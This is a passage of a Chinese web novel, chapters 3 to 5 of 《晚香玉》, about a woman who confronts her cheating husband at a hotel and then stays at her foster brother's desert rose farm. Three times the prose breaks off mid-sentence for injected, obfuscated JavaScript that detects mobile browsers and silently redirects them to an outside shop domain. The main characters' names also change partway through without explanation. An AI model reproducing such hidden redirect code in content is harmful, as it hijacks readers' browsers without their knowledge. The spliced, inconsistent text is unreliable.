《晚香玉》 3. Chapter003 越野车疾驰在沙漠公路上。 孟小雷手握方向盘,目视前方。 杜晚晴侧头看向车窗外一望无际的沙丘,像大海的波浪起起伏伏。 两个人都静默不语,似乎都在极力忘却玫瑰基地那尴尬的一幕。 车载音乐播放着一首老歌,杜晚晴听出是周杰伦的《兰亭序》,“……我听闻,你始终一个人,斑驳的城门,盘踞着老树根,石板上回荡的是再等……” 她这才想起,两个人久别重逢,她都还没来得及询问他这些年过得怎么样,便笑着打趣他,“你年纪也不小了,谈女朋友了没有?什么时候能喝上你们的喜酒?” “关你屁事。”孟小雷这会儿可没什么好脸色给她,觉察到自己语气太硬,又软下来补充了一句,“下辈子吧,这辈子我就一个人过。” 这混账女人一到基地就跑得没了人影。天气有点热,他给花地放完水,浑身是汗,就和往常一样脱了衣服冲凉,没想到她突然出现了。 他倒不是因为被她看到自己没穿衣服的样子觉得亏,而是气,气她完全不是一个成年女人看到一个成年男人光着身子的反应,倒像是看他小时候的那种表情。 “我这不是关心你嘛,”杜晚晴自然不知道他这会儿的心思,“还在生气被我看光了啊?又不是没看过。你小时候我还给你洗过澡呢……啊!” 孟小雷突然猛踩油门,她吓得双手抓紧把手,不敢再吱声了。 车子到了目的地,已经有好几辆车停在那里,车旁站着一对对男男女女。 所有的人都在观看一辆路虎冲向一处又高又陡的沙坡,接近坡顶的时候,车子几乎呈直立状了。 人群里有人鼓掌叫好,有人欢呼,有人吹口哨,好不热闹,几乎没有人注意到他们悄悄加入了人群中。 路虎车冲向沙坡后,在坡顶打了个转,就下来了,停在附近。 杜晚晴没想到的是,驾驶座下来的竟然是一个年轻女子,副驾座下来一个中年男子,看起来应该比女孩大个七八岁。 她跑到他面前直接扑进他怀里,“骏哥我做到了,我厉不厉害?” “嗯,我们家蕾蕾太棒了。”男人搂着她的腰,在她额头上亲了一下,然后转头看相众人,挥舞着手臂问,“兄弟们,你们嫂子厉不厉害?” 几乎没有人不说厉害的,除了孟小雷,只是淡淡一笑,朝他们挥了挥手。 “小雷你来了?就差你了。”他们朝人群走过来。 杜晚晴这才想起,中年男子孟崧骏和孟小雷是一个家族的哥哥,据说在外面混得很好。待她看清他旁边女孩的面容后,吓得赶紧背过身去。 张一蕾是张一枫三叔的女儿,虽然她们不熟,她跟张一枫结婚那年过年的时候见过一次,打过招呼。 他们没有住过乡下,一直在县城,平时很少有机会接触,后来她南下去广东,张一蕾也在外面上学工作,有好些年没见过了。 孟小雷和孟崧骏哥俩寒暄时,又有人去挑战开车冲沙坡,都是男女成双,有的是女孩开车,男的在旁边副驾座看着,有的女孩胆小的,就男的开车女的坐副驾座。 不知道张一蕾是没有认出她,还是怕她尴尬,没有过来跟她打招呼,和其他一样专注着观看其他人冲沙坡。 几乎所有人都轮流开车冲上去了一遍,孟崧骏忽然问孟小雷,“你们要不要上去感觉一下?” 孟小雷正要拒绝,忽然又打住,转头看向她,“姐,敢不敢挑战一下?” 他向众人介绍她是他姑妈的女儿,他小时候是她带大的,她过来出差,然后还夸她开车技术多么多么好。周围人纷纷附和他,等着看她表演飙车冲沙坡。 杜晚晴暗暗叫苦,这臭小子是故意在整她吧?可眼下她已经骑虎难下了,只能上了驾驶座,双手紧紧握住方向盘,眼睛直直地看着前方的沙坡。 孟小雷上了副驾座,系好安全带,让她不要紧张,就跟平时开车一样就行了。 他不说她还没那么紧张,他一说,她倒有些紧张了,朝他低吼,“你给我闭嘴!” 孟小雷也不恼,嘴角微微上扬,笑里明显有一种幸灾乐祸的意味。 杜晚晴系好安全带,脑海里演练了两遍怎么踩油门,怎么打转方向盘,深呼吸了两次,启动了车子,脚踩油门。 车子像离弦的箭一样飞了出去,很快上坡,开始很顺利,快到坡顶时,不知道什么缘故,轮胎好像打空转,冲不上去了。 她想把方向盘左转打到底直接下坡,却不知为何,打了四分之一就打不动了。 在危机时刻,孟小雷侧身抓住方向盘,把方向盘左转打到了一半,车子沿着坡顶行驶了一小段,又右转,车子冲过了坡顶。上面比较平坦,开起来很轻松,他才放开手。 杜晚晴在坡顶平坦的空地开了一圈,打转方向盘,下了坡。 回到出发地,她呆坐着不动,手脚无力,不受控制地在打哆嗦,脊背上的汗一颗一颗地往下流。 “就这么点力气,以后多吃点多长点吧。”孟小雷扔下一句话,兀自下车。 外面的人都在忙着烧烤,说说笑笑。 她在车里静坐着不动,看着车窗外,想起小时候语文课本上那句诗,“大漠孤烟直,长河落日圆。” 真美。 她心里忍不住感叹,坐了好一会儿,天色渐渐暗了下来。 孟小雷拿着烤好的串串敲了敲车窗,她才推开车门下车。 众人围着篝火坐着,她跟着他一同加入其中,喝酒聊天。他们聊天的内容,大多是关于工程行业的一些信息,她不熟悉,只能做一个听众。 孟小雷显然平时不怎么喜欢与人打交道,跟大多数人也不熟,只跟几个仁城老乡打了招呼,大多数时候都在烤炉前忙碌。 她吃了烤串,感觉有些辣,孟小雷给她开了一罐乌苏啤酒。 杜晚晴原本喝不惯啤酒,但感觉这个啤酒入口有点点甜味,没有那种冲鼻的气味,一口气喝了一大罐。 快要散场的时候,人群中突然有人问,“龙哥今天怎么没来?他不是最喜欢热闹?” 有人回答,“龙哥啊,没司机呢,自己又懒得开车。之前他表弟给他开车,前两天因为酒驾被吊销了驾照。你们谁有司机给他介绍一下啊。” 后面又有人八卦,“他表弟是不是叫张一枫?最近老在骏哥的酒店碰到他,那家伙太狂了,还敢带着各种女孩去开房……” “骏哥,我们回去吧,好冷。”张一蕾适时打断无聊的八卦,“蹭”地跳了起来,把孟崧骏也拉起来。 他们一走,其他人也三三两两都跟着散了,最后只剩下杜晚晴和孟小雷两个人围着篝火坐着。 杜晚晴不知为何,脑袋有些木木的,但还是看出来了。 孟小雷在种植基地接到邀请他们来参加沙漠篝火聚会的电话,原本不打算来,犹豫了半晌最终还是带着她来了,目的就是打探张一枫的下落。没想到他竟然也在玉城。 如果是别的女人,听到自己的老公跟别的女人厮混,大概早就抓狂,想着去捉奸在床暴打小三了。 可她完全没有这样的冲动,只觉得无力,内心也毫无波澜,仿佛这种事跟她毫无关系。 “回去吧。”孟小雷把现场收拾了一下,灭了篝火,催促她上车。 杜晚晴回到车上,拿出手机,想要订明天回鹏城的机票。手机信号时断时续,她只能先放弃,打算回到住处再订。 回去的路上,她背对着他,侧身靠着椅背,想睡觉,大脑却异常清醒。 孟小雷没有把她送到昨晚住的小区,车子停在了一家酒店门口,跟她解释,“晚上骏哥他们可能会回去住,那是他们公司的房子。我们今晚暂时住酒店。” 无所谓了,反正她明天就离开了。 杜晚晴心里是这么想的,下了车,跟着他进入酒店。 酒店前台热情地向他们打招呼,显然跟孟小雷很熟。 只是,听到他说给她单独开一个房间,前台表现得有些意外,但还是照做了,要了她的身份证,给她开了一个标间。 杜晚晴拿着房卡和身份证就上楼了,找到自己的房间,开门进去,倒在床上就睡。 她迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274119|198157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊睡了一觉,也不知道睡了多久,最后是被隔壁房间巨大的声响吵醒的,估计是一对情侣。 不知道是这房间隔音效果太差,还是他们闹出的声响实在太大,她用被子蒙住头,都能听到声响。 有那么一刹那,杜晚晴感觉有个声响很熟悉,脑海里闪过一个身影,再也睡不着了,弹簧一样跳了起来。 她仓皇逃出了房间,打算到附近转转,顺便吃点东西。可到了一楼大厅,内心突然涌起一股愤怒,脚步不受控制地走到前台。 她跟前台值班的人说她门卡忘房间里了,让她再给一张,却故意说了隔壁房间的门牌号。 前台是个小姑娘,一看就是刚出社会的人,心思单纯,直接就把门卡给她了。 杜晚晴重新上楼,到了她住房间的隔壁,打开门,开灯,冲进房门,先开被子,拿出手机一顿乱拍。 张一枫大概打死都想不到,她会突然出现,愣了半天,才爬起来,冲过来要夺她的手机。 杜晚晴往后退,拿起桌上的一把水果刀,指着他,“张一枫,你要再敢靠近,我一刀捅死你!” 张一枫是个怕死的人,也知道她看起来柔弱,其实惹恼了也不好对付,便往后退了两步,皮笑肉不笑地解释,“晴晴,你误会了。这只是逢场作戏,你可别冲动,回头让妈知道到了,又让她老人家担心了。” “放你娘的狗屁!”杜晚晴这会儿确实被逼到极点了,话也变得粗糙起来,“你要再敢提我妈,我割了你的舌头。” 张一枫立刻捂住嘴,生怕她真会这么做。 “张一枫,不管你以前多无耻,我都懒得理,但今天你在我眼皮底下胡作非为,不好意思,老娘不想忍了。我们新账旧账一起算,明天我就会把离婚协议拟好。我没有任何要求,只要求你在协议上签字。” “离婚?怎么可能?”张一枫脸色突然变了,恶狠狠地质问她,“杜晚晴,你是不是外面有人了?你想离婚,没门!” “你要是不签字,”杜晚晴晃了晃手机,“我就把这些照片发到你们单位去,看你还有什么脸留在那里混吃等死。” 张一枫在老家仁城的一个事业单位工作。他嫌生活单调,每个月三千的工资太低,经常偷偷跑出来做些私活。没想到这次跑到这里来给他那个搞工程的表弟做司机了。 但他再怎么浑,还是舍不得他那份事业单位的工作。死皮赖脸地求她别乱来。 她担心张一枫会突然发狂,她见识过他六亲不认的疯狂样,把水果刀挡在前面,赶紧往后退,以最快的速度退出了房间。 让她意想不到的是,孟小雷就在隔壁她住的房间门口,朝她竖起大拇指,然后手臂朝外挥了挥,“走吧,骏哥他们今天没有住那边,我们还是回去吧。酒店太吵了。” “确实太吵了。”杜晚晴拿着刀的手在发抖,就像冲完沙坡之后,浑身无力。 直到他们回到住处,她躺在床上的时候,脑海把一整天发生的事过滤了一遍,才后知后觉地想到一点,怎么孟小雷好像对今天晚上发生的一切了如指掌? 杜晚晴听到隔壁浴室里传来哗哗的流水声,不自觉地回想起白天在种植基地撞见的那一幕。 她当时关注的重点,落在了他脊背上的那一道触目惊心的疤痕上,如果她没记错,那是他为她挡杜昱昇的皮鞭落下的,那时候他才十几岁,比她还瘦小。 他被打得半死,却还想拉着她逃跑,哭着喊着,“姐姐,我们走吧,我不做姑妈的儿子,你也不做她的女儿,我们就做自己。” 杜晚晴想起年少时那些不堪回首的往事,眼泪像决堤的洪水,怎么也止不住了,一直麻木的心,突然隐隐作痛,像被针扎一样。 她有一种冲动,想冲进隔壁的浴室,抱抱他,轻抚一下那道疤痕,问他还疼不疼。 但理智告诉她,这个留着板寸眉眼勾火的男人,已经不是记忆中那个留着长头发动不动逃学的叛逆少年。 她躺着没有动,隔壁的流水声也一直没有停,像暗夜里有人在咿咿呀呀唱着歌,歌声婉转,像猫爪一样挠着人心,绵绵不绝。 4.Chapter004 孟山河六岁以前都过得无忧无虑,命运的转折点发生在六岁那年的一个晚上。 他和往常一样在外面和村里的小伙伴们玩到天黑才回家,平日里他都是和双胞胎弟弟孟小虎一同回家,但那天只有他自己。 他是很久以后才后知后觉地觉察出,那天看似普通的一天,其实暗藏玄机。 他们家住的是那种旧式的大房子,高高的庭院,长长的过道,光线幽暗,像迷宫一样,他小时候特别害怕一个人走在里面。 据说曾经是以前的旧时代有钱大户人家住的大房子,后来时代变了,分给普通百姓,一座宅院里通常住着好几户人家。 为了给自己壮胆,他哼着流行的港台歌曲,飞快地往自己家住的那间屋跑,不小心撞到了同住一座宅院的邻居老太太,“要死啊,赶着投胎去吗?” 他母亲听到声音,跑出来给老太太点头哈腰道歉,然后拉着他回自己家。 “一天到晚就知道跑出去玩,一家人就等你了。我告诉你,规矩我都定好了,抽三次,你们三兄弟谁抽到的次数多,谁就去你姑妈家。”母亲絮絮叨叨的声音充斥着他的耳朵。 孟山河那个时候还不知道,他已然成为家里多余的人。 他母亲的肚子创造了一个奇迹,三胎生了五个孩子,头胎生了个儿子,二胎想生个女儿,结果又生了一对双胞胎儿子。 三胎倒是如愿生了女儿,生的却是双胞胎女儿,一时成为众人茶余饭后的谈资。 多次超生罚款,把一个原本经济就不宽裕的家,血都榨干了。 他姑妈自己没有生育,收养了他姑父叔伯中的一个侄子宋昱昇,因为做生意赚了不少钱,以及她姑姑对血缘关系莫名的痴迷,所以也一直想从他们家三个儿子中领养一个。 孟山河不知为何,被他母亲拖回屋里,有一种大难临头的恐惧。 他在母亲一而再再而三地催促中,费了好大劲,手哆哆嗦嗦地从她手中抽出一张抽签纸,第一次,纸上写着他的名字,第二次抽的纸,也写着他的名字,第三次还写着他的名字。 他整个人都是懵的,想不通他运气怎么就这么差,是不是刚才撞那个老太太撞的? 他还没反应过来,他的行李已经被打包好,连夜就被他父亲送去了市里他姑妈家。 孟山河在姑妈家睡了一觉,醒来后的第一件事,拿了他姑妈桌上钱包里的钱,就往车站跑,当时不知道身后一直有人跟着。 他买了车票,整整坐了三个小时的中巴车回到县城,凭着记忆中的路跑回到家里。 他母亲大概不会想到他会跑回来,那些抽签纸随随便便就放在抽屉里,他一张张打开,看到每一张纸上都写着同一个名字,他蹲在地上嚎啕大哭。 他无忧无虑的童年,就这么提前结束了。 …… 孟山河又一次从噩梦中惊醒,醒来枕头湿了一大片,梦见的内容,大差不差的就是六岁时被送走的经历。 客厅里有人走动的声音,他拿起手机看了一下时间,七点不到。 手机铃声突然响起,他一看号码就知道是酒店打过来的,不用想也知道发生了什么事。 孟山河接了电话,果然如他所料,张一枫已经离开了酒店,是被他表弟龙哥接走的。 有那么一瞬间,他异常愤怒,可愤怒之后,他竟然如释重负。 他想起这两天发生的事情,从机场见到宋平凡,一阵狂喜兴奋之后,就到处打听张一枫的下落,直至昨晚故意带她去酒店。 张一枫的表弟龙哥跟孟崧骏是好朋友,在他的酒店长期有专属的VIP客房,张一枫也经常住那个房间。 他昨晚有意让前台把宋平凡的房间就安排在隔壁,当时还暗自感觉自己很聪明,现在想想,他做的这一切多么残忍。 宋平凡要解决与张一枫的问题,势必要违背侯月梅的意愿,去揭开她最不愿意面对的真相,关于她的出生。 只有经历过的人才知道,真相带来的难以承受之重,足以压垮一个铮铮铁骨般的汉子。 孟小冬每次从噩梦中遨游一圈醒来,都要承受一次抽筋剥骨般的痛。 还是不要让她也来承受这样的痛了。 此刻,他多么庆幸,她是一出生就被送走,而不是像他这样,到六岁,已经能深刻感受到被抛弃的恐惧和痛苦。 孟山河长舒一口气,强撑着疲惫的身躯爬起来,穿好衣服,去厨房做早餐。 宋平凡正盘腿坐在客厅沙发上,对着膝盖上的笔记本电脑敲键盘,见他出来,随口问了一句,“小山,你昨晚是不是又做噩梦了?” 昨天沙漠篝火烧烤聚会,她吃了不少辣的,又喝了好几罐啤酒,半夜起来上厕所,听到他房间里传来带着哭腔的哀求声,“妈妈,我不去姑妈家,求求你……” 这种情形她自然没少见过,只是没想到他到现在这么大了,还做这样的梦。 孟山河没接她的话,只问她早上想吃什么,然后列举了冰箱里有些什么东西。 她让他随便弄点什么,能填饱肚子就行了,敲打键盘的手速度越发快了,直到敲下最后一个句号,才合上电脑。 “搞定,吃完早饭我们去一趟酒店,让张一枫那混蛋签字就完了。” 孟山河把煮好的两碗面端到客厅来,放茶几上,让她先去刷牙洗脸,准备吃早餐。 她从他平静的表情感觉到,这事应该又黄了,忍不住苦笑,“早知道那家伙两脚踩了风火轮,怎么都追不上他,我应该先写检查了,保住工作要紧。” 等她洗刷完,回到茶几前坐下来准备吃面,与前两天他们刚见面不同,他没有再拿这件事嘲讽她,反过来劝慰她,“这事急也没用,慢慢来。” “我也没急啊,我都习惯了。”宋平凡对他这种两天之内一百八十度的大转变有些困惑。 就像她有些拿不准,是该像小时候对待弟弟那样跟他相处,还是应该正视他已经是个成年男人的事实。 “我今天还是搬到种植基地去吧,那边好像还有空房。一时半会估计回不了内地,要在这边呆一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285600|198157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间。”宋平凡思虑良久,觉得还是应该避嫌。 孟山河简单说了个“好”字,三两口把他碗里的面吃完了,等她吃完最后一口,把碗端回厨房洗去了。 她给周丹丹发了一条长长的语音,大概意思就是,让她帮忙转告谢伟民,她年轻气盛,考虑问题不够周到,没有体会到领导的难处,所以自甘受罚,接受调岗和降薪,暂时留在种植基地学习一段时间。晚一点她会写一封书面检讨。 这是她能想到的折中的处理方式,既向作为总经理的谢伟民检讨低头,不跟他正面冲突,也坚持了自己的原则和是非标准,不人云亦云。 只是少了实际的好处,工资降了接近一半,但也比马上失业强吧。 她打算把鹏城租的房子退掉,当即给房东打了电话说了退租的事。又委托一个朋友抽空去把她城中村房子里的东西搬到她那边。 这样一个月能省八百块房租,暂时也能应付。 处理完这些琐事,她才松了一口气。 宋平凡伸了个懒腰,手无意间碰到旁边堆在沙发书堆最上面的一个笔记本。 笔记本从书堆上掉下来,中间夹了一支笔的那一页摊开来,上面密密麻麻写满了名字,电话号码,和一个一个的箭头号,中间圈住的名字赫然映入眼帘。 娟娟。 她随手翻了一下笔记本,几乎大半个笔记本都写了类似的内容,只是记录不同的城市。 孟山河从厨房走出来,显然也看到了笔记,立刻弯腰把笔记拿起来合上,扔进茶几抽屉里。 “你还在找她吗?”宋平凡吃惊地看着他,难以置信他坚持了这么多年,“娟娟被送走的时候才五岁不到,你这样大海捞针一样,怎么找得到?” “没试过,怎么知道找不到?” 孟山河有一对双胞胎妹妹,他六岁被送到他姑妈家的那一年,不久,最小的妹妹孟小娟也被送走了。 他知道后哭了三天三夜,发誓一定要找回妹妹。 那个时候他年纪小,大人们都没有把他的话当回事,没想到他真的在找,一直坚持到现在。 宋平凡脑海里闪过一个疑问,她被送走后,有没有人找过她? 没有人能回答她,也许,没有答案就是最好的答案。 她眼眶一热,把头侧向一边,起身去房间收拾东西,随手把笔记本电脑拿上了。 宋平凡担心种植基地信号不稳定,就以最快速度,写了一封书面检讨,发给了周丹丹,让她转发给谢伟民。 “小宋,你确定要这么做吗?”周丹丹收到后,立刻给她打来电话,“我个人很欣赏你坚持原则,从人力资源的角度,我也认为你是个不可多得的人才。但是,有些事情……” 周丹丹没有再说下去,像是有什么难言之隐。 她也没再多问,便挂了电话。 宋平凡收拾好行李出来,孟山河一手接过她手中的拉杆箱,一手提着一些铺盖。 他们一前一后离开房间,下楼到停车场,驱车前往种植基地。 5.Chapter005 到了种植基地,孟山河把车停在一排白色集装箱一样的临建房前。 他们一下车,有人吹口哨。 “外江,好漂亮的古丽,”吹口哨的是一个年轻男子,身材高大,五官颇有异域感,操着一口本地口音的普通话,“阿达西,你这样子的嘛不好,漂亮的古丽嘛藏起来不可以,来我们家做客嘛,我们家的羊肉,葡萄,核桃,哈么斯给漂亮的古丽吃。” 宋平凡站在车旁,听得似懂非懂,但他的热情她是能感觉到的,笑望着他,朝他挥了挥手,说了一句她这两天学到的打招呼的本地话,“亚克西木”。 他高兴得手舞足蹈,连连点头,重复了好几遍“亚克西木”。 “买买提,你们家的羊又快生了吧?”孟山河给他打招呼,后面的声音小了下去,几乎只有她能听到,“这巴郎子,老婆跑了,见到母蚊子都要像公孔雀一样开个屏。” 孟山河走过去,跟买买提说了最近种植基地的一些工作安排。 这几天最后一次放水,月底得到通知后应该就可以开始采摘。让他到时候通知他们那些人都过来,还是和以前一样,按天结算工资。 “我嘛,哈么斯的时间都可以来的,”买买提高兴得很,但随即脸红了,说话也支支吾吾,“巧古丽嘛,你去通知,其他人我去。 宋平凡从他双臂画圈的手势大概猜到,哈么斯应该是“所有的,全部的”之类的意思。 “巧古丽又不是老虎,你怕她做什么?”孟山河嘴角微微弯起,似笑非笑,但也没强求他,“好吧,刚好骏天公司捐赠的一些物资要给她们家送过去。” 孟山河跟她提过,骏天公司是孟崧骏公司骏极于天的简称。 买买提竖起大拇指,没待多久就走了,走之前一再邀请他们有空去他们家做客,吃他亲自做的手抓饭。 孟山河答应他,等他们家的羊下崽的时候一定去,他才满意地离开。 宋平凡望着他离开的背影,或许是被他眼睛里几乎要溢出来的热情感染,心情格外好。 她对这个沙漠边缘的边疆小城多了一些好感。 当然,她很快要哭不出来了。 这一排临建房是种植基地的办公兼生活区,总共有五间房,一间厨房、一间卫生间,一间仓库兼办公室,另外两间分别是男女员工宿舍。 孟山河把带过来的铺盖和她的行李送到女职工住的宿舍,里面有两排各三张上下铺,奇怪的是,所有的床铺都是空的。 她选了靠窗的一张下铺,他让她别住靠窗的床,刮土的时候很容易弄脏,南疆城市上半年经常刮土。 孟山河一边说着话,一边把铺盖铺在了中间的一个下床。 “这个种植基地现在就你跟买买提两个人吗?其他人呢?”宋平凡在铺好的床上坐下来。 她心里想的是,如果晚上就他们两个住这边,那和两个人住在市区一套房子里有什么区别? “这不得问你这个品牌总部来的人?”孟山河背靠着爬到上铺的梯子,双手抱在胸前,侧头看着她。 他这么一站,身上的黑色T恤绷得有些紧,更显得他身体很壮实。 宋平凡发现,眼前这个眉眼勾火的英俊男子,和记忆中的少年完全像是变了个人。 同样是体恤牛仔马丁靴这样随意的装扮,少年时的他性格乖张,满身戾气,对周遭一切都充满了愤怒。 或许是发型变了,板寸头简练利落,举手投足间随意而松弛,整个人的气质都变了,仿佛山河阔远,雪山初霁,不愧是大西北这片位于塔克拉玛干沙漠与昆仑雪山之间的土地培育出来糙汉。 宋平凡意识到她不该这么盯着他看,忙转移视线,“哦,你刚才说什么?” “种植基地跟你们签的是独家供应合同,最早的时候种上万亩,现在一千亩都不到了。原本基地所有的成本都是你们承担,后来也砍掉了,价格还压得越来越低。一年搞下来,承包土地的钱都收不回来,拿什么请人?” “……”宋平凡大吃一惊,她来ESOR品牌也才半年时间多一点,以前没有接触过种植基地的事。 人力资源通知她离开品牌总部,到种植基地来的时候,只说是调岗。按她的了解,这里应该是ESOR品牌的一个部分,没想到只是合作关系。 “还有,大马士革玫瑰五月下旬始花到七月上旬终花,往年早早就会收到你们采花的通知,我们采摘完,你们及时派人过来拿货。今年是怎么回事?现在都五月下旬了,还没人通知,以前对接的人都找不到了。” “你怎么不早说?”宋平凡拿起电话,给谢伟民的助理打电话,电话关机。 她给周丹丹打电话,同样关机,只好给她留言,让她收到信息立刻给她回电话,有急事。 只是,她有种不好的预感,这个电话可能没那么容易等到。 可她现在除了等,也没有别的什么办法了。 把住的地方安排好,孟山河要到玫瑰地里巡视一圈,让她紧跟着他,别又走丢了,把她的手机拿过去倒腾了一番。 “这里比较偏远,时常有狼、雪豹之类的动物出现。”他冷峻严肃的表情看起来不像是吓唬她。 “说得好像我胆子很小一样。也不知道是谁小时候被鹅吓得哇哇大叫,还得我给他把鹅赶跑。”宋平凡嘴上这么说,脚步不由自主地紧紧跟上他。 孟山河嘴角上扬,但笑不语,一副等着看她笑话的表情。 他们白天在玫瑰地里忙碌做苗圃管理,培土,剪枝,除草,天气也不错,倒是相安无事。 到傍晚的时候,远远地看到漫天黄沙朝他们逼近。 孟山河叫她加快速度,两人一前一后跑回宿舍。 他每个房间都去看了一下,检查门窗有没有关好,之后让她先在宿舍里休息,他去厨房做点吃的,中午他们只简单吃了点干粮。 宋平凡站在宿舍窗前,看着黄沙从远到近,最终把他们裹在其中,仿佛世界末日把一切吞噬,所到之处,地面上铺了一层薄薄的沙土。 她拿起手机,想拍一下外面末世般的罕见景象,仅仅几分钟的时间,手机屏幕上不知不觉也铺上了一层细沙。 她回到床前,发现地上、床单上、被褥上同样都是一层薄薄的沙。 孟山河做好饭,过来叫她去吃饭。 她走到厨房,发现目光所及之处,几乎都是沙,连吃饭的碗筷都无一例外。 餐桌上的菜被碗盖住了,估计也是为了避免落下沙土弄脏。 孟山河给她坐的椅子上铺了一张厚纸,让她坐下。他把吃饭的碗筷用水冲了一下,盛了饭,递给她一碗,才把盖住菜的碗拿开。 他炒了三个菜,一个土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294448|198157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆丝,一个大白菜,一个西红柿蛋汤。 一顿饭的时间,估计他们的碗里也落了不少沙,被他们吃进肚子里了。虽然他们吃的很快,都没怎么说话。 她想起来就脊背发麻,他倒像是习惯了,吃完饭开始收拾碗筷,让她先回宿舍去。 她没去,他洗碗的时候,她找了抹布擦桌子。看到靠墙柜子抽屉里有一次性口罩,便拿了一个带上。 “你什么时候到这边来的?为什么会选择到这里来工作生活呢?”宋平凡难以想象,长期呆在这样的环境里,怎么受得了。 她已经开始想念鹏城清新的空气和蔚蓝的天空了。 “大一暑假第一次过来玩,大四实习那年骏哥让我给他看工地。” “那现在怎么不跟着他们做工程了?”她去沙漠篝火聚会见到孟崧骏的时候,就在想这个问题,“这里多辛苦,又没多少钱。” 孟山河没有立刻回答,把洗好的碗擦干,放进一个塑料盒里,盖上盖子,抽了纸巾擦手,不疾不徐地吐出一句,“自由,不用跟不喜欢的人打交道。” “你这样散漫,猴年马月才存够钱?” “我要那么多钱干什么?” “买房,结婚,生孩子,哪样不需要钱?” “我对这些没兴趣。”他把擦手的纸巾揉成团,对准门口的垃圾桶,扔了进去,往旁边靠背椅上一坐,很悠闲地看着她,“如果是你,倒是可以考虑。问题是,你都跟人结婚了。” “……”宋平凡一时不知道怎么接他的话,与他隔着一张桌子站着,把手中的抹布放在桌上,摊开,对折又对折叠起来,“不被资本裹挟成为房奴,按照自己的意愿活着,也挺好。” 也许只有在这种边疆小城,才能养出他这一身从上到下的松弛感吧。 她有些羡慕,但自觉做不到他这么洒脱。在大城市里乖乖做牛马,大概就是她这一生的出路。 外面天已经黑了,孟山河烧了水,让她洗脚洗脸,洗澡只能回市区,这里条件有限。 两个人聊着这些年各自的近况,这是他们这次重逢以来,说话最多的一天。 洗刷完,他把她送回宿舍,便回另外一间宿舍去了,两间宿舍恰好在一头一尾,中间隔了三间房。 宋平凡把被子拿起来抖了抖,又拍了床单,把上面的沙尘弄掉,换上睡衣,躺下,发现灯是亮着的,开关竟然在门边。 她只能又爬起来,跑到门边把灯关了,用手机屏幕照着快速跑回到床边重新躺下。 外面风沙没有停,不时听到风呜呜的声,一阵一阵的沙子打在临建房墙壁的声音,甚至,依稀能听到某种动物长啸的声音,像是狼。 宋平凡根本睡不着,忽然听到门口窸窸窣窣传来的声音,想起白天孟山河说有狼和雪豹出现,不觉用被子把头都蒙住了,只留两个鼻孔出气。 她蒙出一头的汗,最后实在忍不住,又跳下床,跑到门口,把灯打开,开门,想跑到孟山河睡的那个房间去。 宋平凡刚踏出门,发现门旁边走廊上不知何时多了顶帐篷,里面灯还是亮着的。 她迅速把门关上,背靠着门,想起自己刚才那狼狈样,忍不不住笑了。 想到门口就有盏灯,她所有的恐惧都消失了。 宋平凡重新关了灯,回到床上躺下,没多久便睡着了。